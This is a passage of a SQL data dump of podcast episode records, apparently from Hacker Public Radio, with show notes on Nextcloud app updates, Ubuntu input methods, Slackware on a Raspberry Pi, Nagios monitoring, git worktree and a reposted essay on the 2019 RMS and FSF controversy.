(3297,'2021-03-23','Nextcloud Application Updating',136,'Automatically Update Nextcloud Applications via Cron','<p>Simple method to autoupdate nextcloud apps. An email is sent as summary of actions.</p>\r\n<p>Scheduled for 5 AM Sunday - Cron Entry</p>\r\n<pre><code>MAILTO=MYEMAILADDRES@MYDOMAIN.com\r\n0 5 * * 0 /usr/bin/php /var/www/nextcloud/occ app:update --all 2&gt;&amp;1\r\n# * * * * * command to be executed\r\n# - - - - -\r\n# | | | | |\r\n# | | | | +----- day of week (0 - 6) (Sunday=0)\r\n# | | | +------- month (1 - 12)\r\n# | | +--------- day of month (1 - 31)\r\n# | +----------- hour (0 - 23)\r\n# +------------- min (0 - 59)</code></pre>\r\n',273,0,0,'CC-BY-SA','Nextcloud,SysAdmin,Admin',0,0,1),
(3298,'2021-03-24','Poisoning The Well',1505,'Shutdown the negativity in our community.','<p>Hot, off the cuff. You can leave feedback at <a href=\"mailto:Lyunpaw@gmail.com\" class=\"email\">Lyunpaw@gmail.com</a>; \"hpr04\" for the subject line. Emails are seen as plain text and are filtered. Maybe I\'ll do a show on email; oops now I owe a show.</p>',391,0,0,'CC-BY-SA','General Content.',0,0,1),
(3302,'2021-03-30','Input Methods on Ubuntu',924,'I\'m adding some input methods to a standard Ubuntu 20.04 install','<p>First I go to the <em>Language Support</em> window. Either search (press Super/Windows, then type) for\r\n\"Language Support\" and go there directly, or search for \"Region &amp; Language\", go there, then click\r\n\"Manage Installed Languages\".</p>\r\n<p>There I click <em>Install / Remove Languages ...</em>, check the Chinese I want, then click <em>Apply</em>.</p>\r\n<p>Then I add the packages for the input methods I want, either using the command line (<code>apt install</code>)\r\nor the <em>Ubuntu Software</em> application:</p>\r\n<ul>\r\n<li>Chinese Quick: <code>ibus-table-quick-classic</code></li>\r\n<li>Chinese Pinyin: <code>ibus-libpinyin</code></li>\r\n<li>Chinese (Cantonese) Jyutping: <code>ibus-table-jyutping</code></li>\r\n</ul>\r\n<p>Bonus input method:</p>\r\n<ul>\r\n<li>Unicode emoji: <code>ibus-typing-booster</code></li>\r\n</ul>\r\n<p>Now for each user that wants an input method, I search for and go to <em>Region &amp; Language</em>. At the\r\nbottom of the <em>Input Sources</em> section I click the plus button. The different input methods are found\r\nby clicking down into different sublists. Click the right choice, then <em>Add</em>:</p>\r\n<ul>\r\n<li>Chinese Quick: <em>Chinese</em> -&gt; <em>Chinese (QuickClassic)</em></li>\r\n<li>Chinese Pinyin: <em>⋮</em> -&gt; <em>Other</em> -&gt; <em>Chinese (Intelligent Pinyin)</em></li>\r\n<li>Chinese (Cantonese) Jyutping: <em>Chinese</em> -&gt; <em>Chinese (Jyutping)</em></li>\r\n<li>Unicode emoji: <em>⋮</em> -&gt; <em>Other</em> -&gt; <em>Other (Typing Booster)</em></li>\r\n<li>EurKEY: <em>English (United States)</em> -&gt; <em>EurKEY (US based layout with European letters)</em></li>\r\n</ul>\r\n<p>The EurKEY layout is part of the standard English language support in Ubuntu.</p>\r\n<p>Finally, to enable unicode color emoji as completion suggestions, switch to the Typing Booster mode\r\nby pressing Super/Windows+Space repeatedly until you see the rocket in your notification area. Click\r\nthe rocket -&gt; <em>Unicode symbols and emoji predictions</em> -&gt; <em>On</em>.</p>\r\n<p>I owe you a followup episode once I figure out how to make this work for Guix applications running\r\ninside Ubuntu.</p>\r\n<hr>\r\n<p>This episode was based on a Fediverse thread:<br><a href=\"https://libranet.de/display/0b6b25a8-6760-517c-52c9-654926232346\">https://libranet.de/display/0b6b25a8-6760-517c-52c9-654926232346</a></p>\r\n<p>References for your further study:</p>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Intelligent_Input_Bus\">IBus</a> is an input method protocol for the\r\nGNU/Linux desktop. Other protocols supported are <a href=\"https://en.wikipedia.org/wiki/Xim\">XIM</a>,\r\n<a href=\"https://en.wikipedia.org/wiki/Smart_Common_Input_Method\">SCIM</a>,\r\n<a href=\"https://en.wikipedia.org/wiki/Fcitx\">fcitx</a> and <a href=\"https://en.wikipedia.org/wiki/Uim\">uim</a>. You\r\nhave to choose one of these to use for all your input methods, but the most common input methods\r\nexist at least for IBus and the first three of the rest, so this is not as much a limitation as\r\nit sounds like.</li>\r\n<li>Quick is a simplification of the\r\n<a href=\"https://en.wikipedia.org/wiki/Cangjie_input_method\">Cangjie input method</a>. Cangjie assigns\r\nradicals, character components, to 24 keys on the alphabetic keyboard, and you combine these into\r\na character. In Quick you combine two and then choose a completion from a list.</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Pinyin\">Pinyin</a> is a romanization, a Latin alphabetic spelling,\r\nfor <a href=\"https://en.wikipedia.org/wiki/Standard_Chinese\">Standard Chinese</a> (Mandarin).</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Jyutping\">Jyutping</a> is one of\r\n<a href=\"https://en.wikipedia.org/wiki/Hong_Kong_Government_Cantonese_Romanisation\">many</a>\r\n<a href=\"https://en.wikipedia.org/wiki/Yale_romanization_of_Cantonese\">romanizations</a>\r\n<a href=\"https://en.wikipedia.org/wiki/Sidney_Lau_romanisation\">for</a>\r\n<a href=\"https://en.wikipedia.org/wiki/Cantonese_Pinyin\">Cantonese</a>. </li>\r\n<li><a href=\"https://guix.gnu.org/\">Guix</a> is a GNU/Linux OS and also a package manager that can be installed\r\nand coexist with the GNU/Linux OS you already have, allowing you to mix and match programs from\r\nboth sources. See also <a href=\"https://hackerpublicradio.org/eps.php?id=2198\">hpr2198</a> and\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=2308\">hpr2308</a>.</li>\r\n</ul>\r\n',311,0,0,'CC-BY-SA','ubuntu, input methods, guix, chinese, emoji, eurkey, pinyin, jyutping, cangjie',0,0,1),
(3303,'2021-03-31','Slackware on RaspberryPi',1182,'An alternative to raspberrypi os','<h3 id=\"a-little-history\">a little history</h3>\n<ul>\n<li>slackware on arm started by stuart winter in 2002</li>\n<li>became an official port of slackware in 2009</li>\n<li>lots of info at the video podcast on youtube</li>\n</ul>\n<h3 id=\"why-choose-slackware\">why choose slackware</h3>\n<ul>\n<li>can do minimal installs easy</li>\n<li>education</li>\n<li>stable and secure</li>\n</ul>\n<h3 id=\"who-should-avoid-slackware\">who should avoid slackware</h3>\n<ul>\n<li>unwilling or unable to read and follow directions</li>\n<li>if you think your leet when you use apt instead of apt-get</li>\n<li>if you think commands like dd are \'scary\'</li>\n</ul>\n<h3 id=\"howto\">howto</h3>\n<ul>\n<li>there is no official port of slackware arm to raspberrypi</li>\n<li>i think this is because of raspberrypi has a non standard way of booting compared to most arm devices</li>\n<li>community has stepped in</li>\n</ul>\n<h4 id=\"on-the-slackware-documentation-project-website-there-are-manual-install-projects\">on the slackware documentation project website there are \'manual\' install projects</h4>\n<ul>\n<li>took a while, had to download firmware from the raspberrypi project itself</li>\n<li>quite a bit of cleanup</li>\n<li>this is the guide if you want slackware on a pi-zero</li>\n</ul>\n<h4 id=\"link-to-the-sarpi-project\">link to the sarpi project</h4>\n<ul>\n<li>guy named phil project lead, started in 2012</li>\n<li>the sarpi project is also a manual process</li>\n<li>even if you don\'t do this you should look at the website content, this is the way to do a tutorial</li>\n<li>after you download the sources this install is exactly like any other slackware install</li>\n<li>when you get to the package selection its easy to customize</li>\n</ul>\n<h3 id=\"after-install\">after install</h3>\n<ul>\n<li>you have a complete development environment</li>\n<li>be prepared to up your search foo</li>\n<li>many packages can be built from slackbuilds</li>\n</ul>\n<p>The only mistakes you can\'t learn from are, your own fatal mistakes</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li><a href=\"https://arm.slackware.com/\" class=\"uri\">https://arm.slackware.com/</a></li>\n<li><a href=\"https://sarpi.fatdog.eu/\" class=\"uri\">https://sarpi.fatdog.eu/</a></li>\n<li><a href=\"https://www.youtube.com/channel/UCabC1NZDGA3FZXf2hQ-6uyA/featured\" class=\"uri\">https://www.youtube.com/channel/UCabC1NZDGA3FZXf2hQ-6uyA/featured</a></li>\n<li><a href=\"https://docs.slackware.com/howtos:hardware:arm:start\" class=\"uri\">https://docs.slackware.com/howtos:hardware:arm:start</a></li>\n<li><a href=\"https://slackbuilds.org\" class=\"uri\">https://slackbuilds.org</a></li>\n</ul>\n',326,0,0,'CC-BY-SA','raspberry pi, slackware',0,0,1),
(3309,'2021-04-08','Linux Inlaws S01E27: The Big Uncertainties in Life and beyond',3417,'The two chaps discuss uncertainties and beyond in this episode on probabilistic data structure','<p>In this episode, our two heroes explore the realm of the great uncertainties also known as probabilistic data structures. For this adventures they managed to retain one of the experts in this field from the open source realm. Check out the episode to get in on this secret and its details!</p>\r\n<h3>Links:</h3>\r\n<ul>\r\n<li>Probabilistic data structures (PDS): <a href=\"https://en.wikipedia.org/wiki/Category:Probabilistic_data_structures\" target=\"_blank\">https://en.wikipedia.org/wiki/Category:Probabilistic_data_structures</a>\r\n</li>\r\n<li>Hash functions: <a href=\"https://en.wikipedia.org/wiki/Hash_function\" target=\"_blank\">https://en.wikipedia.org/wiki/Hash_function</a>\r\n</li>\r\n<li>Bloom / cuckoo filters: <a href=\"https://bdupras.github.io/filter-tutorial\" target=\"_blank\">https://bdupras.github.io/filter-tutorial</a>\r\n</li>\r\n<li>Scalable Bloom filter: <a href=\"https://www.waitingforcode.com/big-data-algorithms/scalable-bloom-filter/read\" target=\"_blank\">https://www.waitingforcode.com/big-data-algorithms/scalable-bloom-filter/read</a>\r\n</li>\r\n<li>redis module: <a href=\"https://oss.redislabs.com/redisbloom\" target=\"_blank\">https://oss.redislabs.com/redisbloom</a>\r\n</li>\r\n<li>HyperLogLog: <a href=\"https://en.wikipedia.org/wiki/HyperLogLog\" target=\"_blank\">https://en.wikipedia.org/wiki/HyperLogLog</a>\r\n</li>\r\n<li>PDS Foundation: <a href=\"https://www.amazon.de/Probabilistic-Data-Structures-Algorithms-Applications/dp/3748190484\" target=\"_blank\">https://www.amazon.de/Probabilistic-Data-Structures-Algorithms-Applications/dp/3748190484</a>\r\n</li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Probabilistic data structures,PDS',0,0,1),
(3305,'2021-04-02','Nagios part 2',1428,'Follow up to hpr3264 - Notifications, SNMP, Remote Checks','<p>I did not get any feed back on my first nagios episode, so I can only assume that I perfectly explained what nagios is. And my installation instructions were so good, that no one had any questions. So I will move on to some additional nagios topics.</p>\r\n<h2 id=\"why-use-nagios\">Why use nagios</h2>\r\n<p>One thing I meant to talk about but forgot in the intro is why you may want to run nagios as a hobbyist.</p>\r\n<ul>\r\n<li>Education, learning a new technology for fun</li>\r\n<li>Network Monitoring is a valuable skill and benefit your career if you work in IT</li>\r\n<li>Early warning for failing hardware</li>\r\n<li>Monitoring self hosted applications</li>\r\n<li>Notification for home security devices IP cameras</li>\r\n</ul>\r\n<p>Most of the benefits of nagios are not specific to nagios. There are plenty of other options for monitoring, and all of them are worth exploring.</p>\r\n<h2 id=\"notification-options\">Notification Options</h2>\r\n<h3 id=\"email\">Email</h3>\r\n<p>I had planned on discussing how to set up postfix to send emails. But, that is such a big topic I will have to skip it. I will instead talk about what I do to send email. And Maybe you can do something similar.</p>\r\n<p>Spammers have ruined the ability to directly send email. Most residential ISPs block port 25 outbound to prevent malware from sending email. Some Virtual hosting providers may not block sending mail, but many mail servers will not accept mail from VPS IP ranges.</p>\r\n<p>There are a few ways to get around this problem. I use the email delivery service <code>Sendgrid</code>. They do all the work of staying off the list of spammers, and most email providers trust mail send via Sendgrid.</p>\r\n<p>I wont go into the instructions for configuring postfix to relay outgoing mail via Sendgrid, but their documentation is easy to follow.</p>\r\n<p>There are plenty of services like sendgrid. And most have a free tier. So unless you are blasting out alerts you probably will not have to pay. If you want to send alerts from nagios via email, I recommend finding a email sending service that works for you.</p>\r\n<h3 id=\"push-alerts\">Push alerts</h3>\r\n<p>There are a few options (besides email) for getting alerts on your phone.</p>\r\n<h4 id=\"anag\">aNag</h4>\r\n<p>The easiest way to get alerts is probably the <code>aNag</code> Android app. aNag connects to the nagios UI to get status updates. It can be configured to check in periodically and there generate notifications for failed checks.</p>\r\n<p>One downside to aNag is the phone has to be able to connect to the nagios server. So, if nagios is on a private network, you will need a VPN when you are not on the same network.</p>\r\n<p>If you decide to put nagios on a public network, be sure to configure apache to only use HTTPS. <code>certbot</code> makes this really easy.</p>\r\n<h4 id=\"pushover\">Pushover</h4>\r\n<p>Another option is to us a Push Notification service that can send notifications that are triggered by API calls.</p>\r\n<p>I like to use the pushover.net You pay $5 when you download the pushover app from the app store, and then notifications are sent for free. They offer a 30 day trial if you want to evaluate the service.</p>\r\n<p>To use pushover, we will add a new contact to nagios. The command for the pushover contact is a script that calls the pushover API via curl.</p>\r\n<p>Remember from the previous episode, nagios has a <code>conf.d</code> directory and will load any files in that directory. So we will create a new file <code>/etc/nagios4/conf.d/pushover.cfg</code> and restart nagios. The contents of the pushover file will be in the show notes.</p>\r\n<p>To use pushover for specific checks, and the contact to that check. See the example in the show notes. Or if you want to use pushover for everything Modify the definitions for the host and service templates to use pushover as a contact</p>\r\n<p>The script that calls the Pushover API is at <code>https://github.com/jedda/OSX-Monitoring-Tools/blob/master/notify_by_pushover.sh</code> Save a copy of the script in the nagios plugins directory.</p>\r\n<p>pushover.cfg</p>\r\n<pre><code># &#39;notify-host-pushover&#39; command definition\r\n\r\ndefine command{\r\n        command_name    notify-host-pushover\r\n        command_line    $USER1$/notify_by_pushover.sh -u $CONTACTADDRESS1$ -a $CONTACTADDRESS2$ -c &#39;persistent&#39; -w &#39;siren&#39; -t &quot;Nagios&quot; -m &quot;$NOTIFICATIONTYPE$ Host $HOSTNAME$ $HOSTSTATE$&quot;\r\n        }\r\n\r\n# &#39;notify-service-pushover&#39; command definition\r\n\r\ndefine command{\r\n        command_name   notify-service-pushover\r\n        command_line   $USER1$/notify_by_pushover.sh -u $CONTACTADDRESS1$ -a $CONTACTADDRESS2$ -c &#39;persistent&#39; -w &#39;siren&#39; -t &quot;Nagios&quot; -m &quot;$HOSTNAME$ $SERVICEDESC$ : $SERVICESTATE$ Additional info: $SERVICEOUTPUT$&quot;\r\n        }\r\n\r\ndefine contact{\r\n        name                            generic-pushover\r\n        host_notifications_enabled      1\r\n        service_notifications_enabled   1\r\n        host_notification_period        24x7\r\n        service_notification_period     24x7\r\n    service_notification_options    w,c,r\r\n    host_notification_options       d,r\r\n        host_notification_commands      notify-host-pushover\r\n        service_notification_commands   notify-service-pushover\r\n        can_submit_commands             1\r\n        retain_status_information       1\r\n        retain_nonstatus_information    1\r\n        contact_name           Pushover\r\n        address1               {{ pushover_user_key }}\r\n        address2               {{ pushover_app_key }}\r\n}</code></pre>\r\n<h2 id=\"writing-custom-checks\">writing custom checks</h2>\r\n<p>One of the big advantages of nagios is the ability to write custom checks. In the previous episode, I mentioned that the status of the nagios checks are based on exit code.</p>\r\n<table>\r\n<thead>\r\n<tr class=\"header\">\r\n<th>Exit Code</th>\r\n<th>status</th>\r\n</tr>\r\n</thead>\r\n<tbody>\r\n<tr class=\"odd\">\r\n<td>0</td>\r\n<td>OK/UP</td>\r\n</tr>\r\n<tr class=\"even\">\r\n<td>1</td>\r\n<td>WARNING</td>\r\n</tr>\r\n<tr class=\"odd\">\r\n<td>2</td>\r\n<td>CRITICAL</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<p>So, to write a custom check, we need a script that will perform a check, and exit with an exit code based on the results of the check.</p>\r\n<h3 id=\"verify-recent-log-entry\">Verify recent log entry</h3>\r\n<p>I have a server where occasionally the syslog daemon stop running,</p>\r\n<p>Instead of trying to figure out why syslog keeps crashing, I wrote a script to check the log file is being updated. The script looks for the expected log file and tests that it has been modified in the last few minutes. The script will:</p>\r\n<ul>\r\n<li>exit 0 if the syslog file is less than 1 minute old</li>\r\n<li>exit 1 if the syslog file is less than 10 minutes old</li>\r\n<li>exit 2 if the syslog file is more that than 10 minutes old or does not exist</li>\r\n</ul>\r\n<p>Since the server with the crashy syslog is not the same server running nagios, I need a way for nagios to execute the script on the remote server.</p>\r\n<p>Nagios has a few ways to run check commands on remote servers. I prefer to use ssh, but there are some disadvantages to using ssh. Specifically the resources required to establish the ssh connection can be heavier than some of the other remote execution methods.</p>\r\n<p>The <code>check_by_ssh</code> plugin can be used to execute check commands on another system. Typically ssh-key authentication is set up so the user that is running the nagios daemon can log in to the remote system without a password</p>\r\n<p>You can try the command to make sure it is working.</p>\r\n<pre><code>cd /usr/lib/nagios/plugins\r\n./check_by_ssh -H RemoteHost -u RemoteUser \\\r\n-C /path/to/remote/script/check_log_age.sh</code></pre>\r\n<p>The new command can be added to a file in the nagios conf.d directory</p>\r\n<pre><code>define command {\r\n    command_name check_syslog_age\r\n    command_line    $USER1$/check_by_ssh  -u RemoteUser -C /remote/path/check_log_age.sh\r\n        }</code></pre>\r\n<p>After adding the command definition, <code>check_syslog_age</code> can be added as a service check.</p>\r\n<p>The Log Check script:</p>\r\n<pre><code>#!/usr/bin/bash\r\n\r\nTODAY=$(date +%Y%m%d)\r\nLOGPATH=&quot;/syslog&quot;\r\nTODAYSLOG=&quot;$TODAY.log&quot;\r\nif test `find &quot;$LOGPATH/$TODAYSLOG&quot; -mmin -1`\r\nthen\r\n    echo OK\r\n    exit 0\r\nelif test `find &quot;$LOGPATH/$TODAYSLOG&quot; -mmin -10`\r\nthen\r\n    echo WARNING\r\n    exit 1\r\nelse\r\n    echo CRITICAL\r\n    exit 2\r\nfi</code></pre>\r\n<h2 id=\"using-snmp-to-monitor-load-average-and-disk-usage\">Using snmp to monitor load average and disk usage</h2>\r\n<p>SNMP can get complicated and I have mixed feelings about using it. I am not going to go into the SNMP versions or the different authentication options for SNMP. But I will show a minimal setup that allows some performance data to be checked by nagios</p>\r\n<p>The SNMP authentication that I am demonstrating is only appropriate for isolated networks. If you plan to use snmp over a public network, I recommend looking into more secure versions of SNMP or tunnelling the check traffic via ssh or a VPN.</p>\r\n<p>If you want to learn more about SNMP, I recommend \"SNMP Mastery\" by Michael W Lucas. <a href=\"https://www.tiltedwindmillpress.com/product/snmp-mastery/\" class=\"uri\">https://www.tiltedwindmillpress.com/product/snmp-mastery/</a></p>\r\n<h3 id=\"snmp-setup\">SNMP setup</h3>\r\n<p>First we need to configure the client to respond to SNMP request. On Ubuntu, <code>apt install snmpd</code></p>\r\n<p>By default, snmpd listens on localhost. Replace the existing snmpd.conf with this example to set a read only community string and listen on all IP addresses.</p>\r\n<p>And don\'t forget, I do not recommend this for a Public Network. Restart snmpd and open port 161 if there is a firewall enabled.</p>\r\n<pre><code>agentAddress udp:161,udp6:[::1]:161\r\nrocommunity NEW_SECURE_PASSWORD\r\ndisk /</code></pre>\r\n<h3 id=\"snmp-nagios-checks\">SNMP nagios checks</h3>\r\n<p>The nagios plugin package installs several pre-defined snmp checks in <code>/etc/nagios-plugins/config/snmp.cfg</code> Look through the file to get an idea of the checks that can be performed via SNMP.</p>\r\n<p>Below is an example of a client configuration that uses SNMP. If you look at how the command definitions, most of them have an option to accept arguments to modify how the check is done The argument placeholders re represented by <code>$ARG1$</code></p>\r\n<p>In most cases, the arguments are optional. This particular SNMP check for disk space requires an argument to complete the disk ID being checked.</p>\r\n<p>When the service check is defined, the arguments are separated by <code>!</code> You can also see in the example how you can</p>\r\n<ul>\r\n<li>add additional contacts</li>\r\n<li>Change the check attempts - number or retires before sending an alert</li>\r\n<li>Frequency of checks, the default is every 5 minutes</li>\r\n</ul>\r\n<pre><code>define host {\r\n  host_name ServerIP\r\n  use linux-server\r\n}\r\ndefine service {\r\n  use generic-service\r\n  host_name ServerIP\r\n  contacts Pushover\r\n  max_check_attempts 1\r\n  check_interval 1\r\n  service_description DISK\r\n  check_command snmp_disk!NEW_SECURE_PASSWORD!1!1 # first arg is disk number\r\n  # command in /etc/nagios-plugins/config/snmp.cfg\r\n}\r\ndefine service {\r\n  use generic-service\r\n  host_name ServerIP\r\n  contacts Pushover\r\n  service_description LOAD\r\n  check_command snmp_load!NEW_SECURE_PASSWORD\r\n  # command in /etc/nagios-plugins/config/snmp.cfg\r\n}\r\ndefine service {\r\n  use generic-service\r\n  host_name ServerIP\r\n  service_description Memory\r\n  check_command snmp_mem!NEW_SECURE_PASSWORD\r\n  # command in /etc/nagios-plugins/config/snmp.cfg\r\n}\r\ndefine service {\r\n  use generic-service\r\n  host_name ServerIP\r\n  service_description Swap\r\n  check_command snmp_swap!NEW_SECURE_PASSWORD\r\n  # command in /etc/nagios-plugins/config/snmp.cfg\r\n}</code></pre>\r\n<h3 id=\"check-servers-for-updates\">Check servers for updates</h3>\r\n<p>Nagios has plugins that can check if there are system updates required.</p>\r\n<ul>\r\n<li>Number of updates</li>\r\n<li>Check will be CRITICAL if any of the updates are security related.</li>\r\n<li>Is a reboot required to load the latest kernel.</li>\r\n</ul>\r\n<p>The check plugin is installed on the remote server. The plugin for Debian based systems is <code>nagios-plugins-contrib</code> or <code>nagios-plugins-check-updates</code> for Red Hat based systems.</p>\r\n<p>The command definitions are below. Since the plugins take longer to run, you will probably need to modify the nagios plugin timeout.</p>\r\n<pre><code>define command {\r\n    command_name check_yum\r\n        command_line    $USER1$/check_by_ssh -H $HOSTADDRESS$ -t 120 -u root -C &quot;/usr/lib64/nagios/plugins/check_updates -t120&quot;\r\n    }\r\ndefine command {\r\n       command_name check_apt\r\n       command_line    $USER1$/check_by_ssh -H $HOSTADDRESS$ -t 120 -u nagios-ssh -C &quot;/usr/lib/nagios/plugins/check_apt -t60&quot;\r\n        }</code></pre>\r\n<p>That\'s probably all the nagios I can handle for now. Leave a comment if there are nagios topics you would like to hear about. Thanks for listening and I will see you next time.</p>\r\n',342,0,0,'CC-BY-SA','nagios,bash,snmp',0,0,1),
(3308,'2021-04-07','let\'s talk about Thunderbird',2005,'Using Thunderbird to manage emails.','<p>Thunder bird, the wonderful email client. I share how I use and enjoy the Thunderbird email client.</p>\r\n<p>use `hpr391` as the subject for all emails.  If not, junk filter.</p>',391,0,0,'CC-BY-SA','email, Thunderbird',0,0,1),
(3307,'2021-04-06','Git worktree',1507,'How to use git worktree','<h2>Create a new worktree</h2>\r\n\r\n<pre><code>\r\n$ git branch | tee\r\n* dev\r\ntrunk\r\n$ git worktree add -b hotfix ~/demo/penguin.tree trunk\r\nPreparing ../penguin.tree (identifier penguin.tree)\r\nHEAD is now at 62a2daf commit\r\n</code>\r\n</pre>\r\n\r\n<h2>List existing worktrees</h2>\r\n\r\n<pre><code>\r\n$ git worktree list\r\n/home/tux/demo/penguin.git       15fca84 [dev]\r\n/home/tux/demo/penguin.tree     09e585d [trunk]\r\n</code>\r\n</pre>\r\n\r\n<h2>Move a worktree</h2>\r\n\r\n<pre><code>\r\n$ git worktree move penguin.tree ~/Temp\r\n</code>\r\n</pre>\r\n\r\n<h2>Remove a worktree</h2>\r\n<pre><code>\r\n$ git worktree remove penguin.tree\r\n</code>\r\n</pre>\r\n\r\n',78,104,0,'CC-BY-SA','git,tree,trunk,branch',0,0,1),
(3311,'2021-04-12','Bradley M. Kuhn\'s article from 2019 on Richard M. Stallman',1584,'This text to speech article requires listener discretion.','<hr />\r\n<h3>Counter Point</h3>\r\n<p>This show has a counter point: <a href=\"https://hackerpublicradio.org/eps.php?id=3316\">hpr3316 :: FSF and RMS on election of Richard Stallman</a>\r\n</p>\r\n<hr />\r\n\r\n<p>Warning This show contains information that may not be suitable for all. Listener discretion is advised.</p>\r\n<p>Recently Richard M. Stallman, announced that he has rejoined the Free Software Foundation’s board of directors. An <a href=\"https://rms-open-letter.github.io/\">open letter on github</a> called for him to be removed again, and for the FSF’s entire board to resign.</p>\r\n<p>When he resigned in 2019, Bradley M. Kuhn (from the <a href=\"https://faif.us/\">Free as in Freedom podcast</a>) wrote an article titled \"On Recent Controversial Events\" about the issue. I am submitting that article here under the terms of the Creative Commons Attribution-Share Alike 3.0 United States License. The post contains many links and is available in the shownotes for this show. Some examples are included at the end of the blog post, and listener discretion is advised.</p>\r\n<h1>\r\n<a href=\"https://ebb.org/bkuhn/blog/2019/10/15/fsf-rms.html\">On Recent Controversial Events</a>\r\n</h1>\r\n<p class=\"topAttributionWithDate\">\r\nTuesday 15 October 2019 by Bradley M. Kuhn\r\n</p>\r\n<p>\r\nThe last 33 days have been unprecedentedly difficult for the software freedom community and for me personally. Folks have been emailing, phoning, texting, tagging me on social media (— the last of which has been funny, because all my social media accounts are placeholder accounts). But, just about everyone has urged me to comment on the serious issues that the software freedom community now faces. Until now, I have stayed silent regarding all these current topics: from Richard M. Stallman (RMS)’s public statements, to <a href=\"https://www.fsf.org/news/richard-m-stallman-resigns\">his resignation from the Free Software Foundation (FSF)</a>, to the Epstein scandal and its connection to MIT. I’ve also avoided generally commenting on software freedom organizational governance during this period. I did this for good reason, which is explained below. However, in this blog post, I now share my primary comments on the matters that seem to currently be of the utmost attention of the Open Source and Free Software communities.\r\n</p>\r\n<p>\r\nI have been silent the last month because, until two days ago, I was an at-large member of <a href=\"https://www.fsf.org/about/staff-and-board\">FSF’s Board of Directors</a>, and a <a href=\"https://static.fsf.org/nosvn/fsf-amended-bylaws-current.pdf\">Voting Member</a> of the FSF. As a member of FSF’s two leadership bodies, I was abiding by a reasonable request from the FSF management and my duty to the organization. Specifically, the FSF asked that all communication during the crisis <a href=\"https://www.fsf.org/news/richard-m-stallman-resigns\">come</a> <a href=\"https://www.fsf.org/news/fsf-and-gnu\">directly</a> from FSF officers and not from at-large directors and/or Voting Members. Furthermore, the FSF management asked all Directors and Voting Members to remain silent on this entire matter — even on issues only tangentially related to the current situation, and even when speaking in our own capacity (e.g., on our own blogs like this one). The FSF is an important organization, and I take any request from the FSF seriously — so I abided fully with their request.\r\n</p>\r\n<p>\r\nThe situation was further complicated because folks at my employer, Software Freedom Conservancy (where I also serve on the <a href=\"https://sfconservancy.org/about/board/#bkuhn\">Board of Directors</a>) had strong opinions about this matter as well. Fortunately, the FSF and Conservancy both had already created clear protocols for what I should do if ever there was a disagreement or divergence of views between Conservancy and FSF. I therefore was recused fully from the planning, drafting, and timing of Conservancy’s statement on this matter. I thank my colleagues at the Conservancy for working so carefully to keep me entirely outside the loop on their statement and to diligently assure that it was straight-forward for me to manage any potential organizational disagreements. I also thank those at the FSF who outlined clear protocols (ahead of time, back in March 2019) in case a situation like this ever came up. I also know my colleagues at Conservancy care deeply, as I do, about the health and welfare of the FSF and its mission of fighting for universal software freedom for all. None of us want, nor have, any substantive disagreement over software freedom issues.\r\n</p>\r\n<p>\r\nI take very seriously my duty to the various organizations where I have (or have had) affiliations. More generally, I champion non-profit organizational transparency. Unfortunately, the current crisis left me in a quandary between the overarching goal of community transparency and abiding by FSF management’s directives. Now that I’ve left the FSF Board of Directors, FSF’s Voting Membership, and all my FSF volunteer roles (which ends my 22-year uninterrupted affiliation with the FSF), I can now comment on the substantive issues that face not just the FSF, but the Free Software community as a whole, while continuing to adhere to my past duty of acting in FSF’s best interest. In other words, my affiliation with the FSF has come to an end for many good and useful reasons. The end to this affiliation allows me to speak directly about the core issues at the heart of the community’s current crisis.\r\n</p>\r\n<p>\r\nFirstly, all these events — from RMS’ public comments on the MIT mailing list, to RMS’ resignation from the FSF to RMS’ discussions about the next steps for the GNU project — <em>seem</em> to many to have happened ridiculously quickly. But it wasn’t actually fast at all. In fact, these events were culmination of issues that were slowly growing in concern to many people, including me.\r\n</p>\r\n<p>\r\nFor the last two years, I had been a loud internal voice in the FSF leadership regarding RMS’ Free-Software-unrelated public statements; I felt strongly that it was in the best interest of the FSF to actively seek to limit such statements, and that it was my duty to FSF to speak out about this within the organization. Those who only learned of this story in the last month (understandably) believed <a href=\"https://medium.com/@selamjie/remove-richard-stallman-fec6ec210794\">Selam G.’s Medium post</a> raised an entirely new issue. <a href=\"https://web.archive.org/web/20161107050933/https://www.stallman.org/archives/2016-jul-oct.html#31_October_2016_(Down\'s_syndrome)\">In</a> <a href=\"https://web.archive.org/web/20170202025227/https://www.stallman.org/archives/2016-nov-feb.html#14_December_2016_(Campaign_of_bull-headed_prudery)\">fact</a>, <a href=\"https://web.archive.org/web/20170224174306/https://www.stallman.org/archives/2016-nov-feb.html#23_February_2017_(A_violent_sex_offender)\">RMS’</a> <a href=\"https://web.archive.org/web/20170612074722/https://stallman.org/archives/2017-mar-jun.html#26_May_2017_(Prudish_ignorantism)\">views</a> <a href=\"https://web.archive.org/web/20170616044924/https://www.stallman.org/archives/2017-mar-jun.html#13_June_2017_(Sex_offender_registry)\">and</a> <a href=\"https://web.archive.org/web/20171020041022/https://stallman.org/archives/2017-jul-oct.html#10_October_2017_(Laws_against_having_sex_with_an_animal)\">statements</a> <a href=\"https://web.archive.org/web/20180131020215/https://stallman.org/archives/2017-jul-oct.html#29_October_2017_(Pestering_women)\">posted</a> <a href=\"https://web.archive.org/web/20180104112431/https://www.stallman.org/archives/2017-nov-feb.html#27_November_2017_(Roy_Moore\'s_relationships)\">on</a> <a href=\"https://web.archive.org/web/20180509120046/https://stallman.org/archives/2018-mar-jun.html#30_April_2018_(UN_peacekeepers_in_South_Sudan)\">stallman.org</a> <a href=\"https://web.archive.org/web/20180911075211/https://www.stallman.org/archives/2018-jul-oct.html#17_July_2018_(The_bullshitter\'s_flirting)\">about</a> <a href=\"https://web.archive.org/web/20180911075211/https://www.stallman.org/archives/2018-jul-oct.html#21_August_2018_(Age_and_attraction)\">sexual</a> <a href=\"https://web.archive.org/web/20180924231708/https://stallman.org/archives/2018-jul-oct.html#23_September_2018_(Cody_Wilson)\">morality</a> <a href=\"https://web.archive.org/web/20180919100154/https://stallman.org/antiglossary.html#assult\">escalated</a> <a href=\"https://web.archive.org/web/20181113161736/https://www.stallman.org/archives/2018-sep-dec.html#6_November_2018_(Sex_according_to_porn)\">for</a> <a 